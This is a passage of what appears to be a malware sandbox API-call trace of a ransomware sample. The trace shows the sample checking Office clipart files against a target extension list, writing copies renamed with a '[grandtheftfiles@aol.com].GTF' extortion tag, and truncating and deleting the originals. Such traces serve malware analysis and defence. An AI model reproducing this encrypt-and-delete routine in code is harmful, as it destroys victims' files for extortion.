	[0079.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1
	[0079.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.150] lstrlenW (lpString=".doc") returned 4
	[0079.151] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.151] lstrlenW (lpString=".docx") returned 5
	[0079.151] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.151] lstrlenW (lpString=".pdf") returned 4
	[0079.151] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString=".xls") returned 4
	[0079.151] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString=".xlsx") returned 5
	[0079.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.151] lstrlenW (lpString=".ppt") returned 4
	[0079.151] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString=".zip") returned 4
	[0079.151] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString=".rar") returned 4
	[0079.151] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString=".bz2") returned 4
	[0079.151] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.151] lstrlenW (lpString=".7z") returned 3
	[0079.151] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString=".dbf") returned 4
	[0079.151] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString=".1cd") returned 4
	[0079.151] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString=".jpg") returned 4
	[0079.151] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.151] lstrlenW (lpString=".doc") returned 4
	[0079.151] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0079.151] lstrlenW (lpString=".docx") returned 5
	[0079.151] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0079.151] lstrlenW (lpString=".pdf") returned 4
	[0079.152] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0079.152] lstrlenW (lpString=".xls") returned 4
	[0079.152] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0079.152] lstrlenW (lpString=".xlsx") returned 5
	[0079.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0079.152] lstrlenW (lpString=".ppt") returned 4
	[0079.152] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0079.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.152] lstrlenW (lpString=".zip") returned 4
	[0079.152] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0079.152] lstrlenW (lpString=".rar") returned 4
	[0079.152] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0079.152] lstrlenW (lpString=".bz2") returned 4
	[0079.152] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0079.152] lstrlenW (lpString=".7z") returned 3
	[0079.152] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0079.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.152] lstrlenW (lpString=".dbf") returned 4
	[0079.152] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0079.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.152] lstrlenW (lpString=".1cd") returned 4
	[0079.152] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0079.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0079.152] lstrlenW (lpString=".jpg") returned 4
	[0079.152] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0079.152] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0079.152] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0079.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.153] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3966) returned 1
	[0079.153] CloseHandle (hObject=0x388) returned 1
	[0079.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220
	[0079.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0079.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0079.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.154] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.007] GetLastError () returned 0x0
	[0080.008] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xf7e, lpOverlapped=0x0) returned 1
	[0080.009] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf80, lpOverlapped=0x0) returned 1
	[0080.010] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.010] WriteFile (in: hFile=0x390, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.011] SetEndOfFile (hFile=0x390) returned 1
	[0080.011] CloseHandle (hObject=0x390) returned 1
	[0080.012] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.012] SetEndOfFile (hFile=0x388) returned 1
	[0080.013] CloseHandle (hObject=0x388) returned 1
	[0080.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1
	[0080.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.015] lstrlenW (lpString=".doc") returned 4
	[0080.015] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.015] lstrlenW (lpString=".docx") returned 5
	[0080.015] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.015] lstrlenW (lpString=".pdf") returned 4
	[0080.015] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.015] lstrlenW (lpString=".xls") returned 4
	[0080.015] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.015] lstrlenW (lpString=".xlsx") returned 5
	[0080.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.015] lstrlenW (lpString=".ppt") returned 4
	[0080.015] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.015] lstrlenW (lpString=".zip") returned 4
	[0080.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".rar") returned 4
	[0080.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".bz2") returned 4
	[0080.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.016] lstrlenW (lpString=".7z") returned 3
	[0080.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString=".dbf") returned 4
	[0080.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString=".1cd") returned 4
	[0080.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString=".jpg") returned 4
	[0080.016] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString=".doc") returned 4
	[0080.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.016] lstrlenW (lpString=".docx") returned 5
	[0080.016] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.016] lstrlenW (lpString=".pdf") returned 4
	[0080.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".xls") returned 4
	[0080.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".xlsx") returned 5
	[0080.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.016] lstrlenW (lpString=".ppt") returned 4
	[0080.016] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.016] lstrlenW (lpString=".zip") returned 4
	[0080.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".rar") returned 4
	[0080.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.016] lstrlenW (lpString=".bz2") returned 4
	[0080.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.016] lstrlenW (lpString=".7z") returned 3
	[0080.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.017] lstrlenW (lpString=".dbf") returned 4
	[0080.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.017] lstrlenW (lpString=".1cd") returned 4
	[0080.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0080.017] lstrlenW (lpString=".jpg") returned 4
	[0080.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.017] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0080.017] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0080.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.019] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3120) returned 1
	[0080.019] CloseHandle (hObject=0x370) returned 1
	[0080.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220
	[0080.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.020] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.020] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.020] GetLastError () returned 0x0
	[0080.020] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xc30, lpOverlapped=0x0) returned 1
	[0080.022] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xc40, lpOverlapped=0x0) returned 1
	[0080.023] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.023] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.023] SetEndOfFile (hFile=0x340) returned 1
	[0080.023] CloseHandle (hObject=0x340) returned 1
	[0080.024] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.024] SetEndOfFile (hFile=0x370) returned 1
	[0080.025] CloseHandle (hObject=0x370) returned 1
	[0080.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString=".doc") returned 4
	[0080.026] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.026] lstrlenW (lpString=".docx") returned 5
	[0080.026] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.026] lstrlenW (lpString=".pdf") returned 4
	[0080.026] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString=".xls") returned 4
	[0080.026] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString=".xlsx") returned 5
	[0080.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.026] lstrlenW (lpString=".ppt") returned 4
	[0080.026] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString=".zip") returned 4
	[0080.026] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString=".rar") returned 4
	[0080.026] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString=".bz2") returned 4
	[0080.026] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.026] lstrlenW (lpString=".7z") returned 3
	[0080.026] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString=".dbf") returned 4
	[0080.026] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString=".1cd") returned 4
	[0080.026] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.026] lstrlenW (lpString=".jpg") returned 4
	[0080.026] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString=".doc") returned 4
	[0080.027] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.027] lstrlenW (lpString=".docx") returned 5
	[0080.027] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.027] lstrlenW (lpString=".pdf") returned 4
	[0080.027] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.027] lstrlenW (lpString=".xls") returned 4
	[0080.027] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.027] lstrlenW (lpString=".xlsx") returned 5
	[0080.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.027] lstrlenW (lpString=".ppt") returned 4
	[0080.027] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString=".zip") returned 4
	[0080.027] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.027] lstrlenW (lpString=".rar") returned 4
	[0080.027] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.027] lstrlenW (lpString=".bz2") returned 4
	[0080.027] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.027] lstrlenW (lpString=".7z") returned 3
	[0080.027] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString=".dbf") returned 4
	[0080.027] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString=".1cd") returned 4
	[0080.027] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0080.027] lstrlenW (lpString=".jpg") returned 4
	[0080.027] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.027] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.027] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0080.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.028] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3026) returned 1
	[0080.028] CloseHandle (hObject=0x370) returned 1
	[0080.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220
	[0080.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.028] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.028] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.029] GetLastError () returned 0x0
	[0080.029] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0080.030] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0080.031] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.031] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.031] SetEndOfFile (hFile=0x340) returned 1
	[0080.031] CloseHandle (hObject=0x340) returned 1
	[0080.032] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.032] SetEndOfFile (hFile=0x370) returned 1
	[0080.033] CloseHandle (hObject=0x370) returned 1
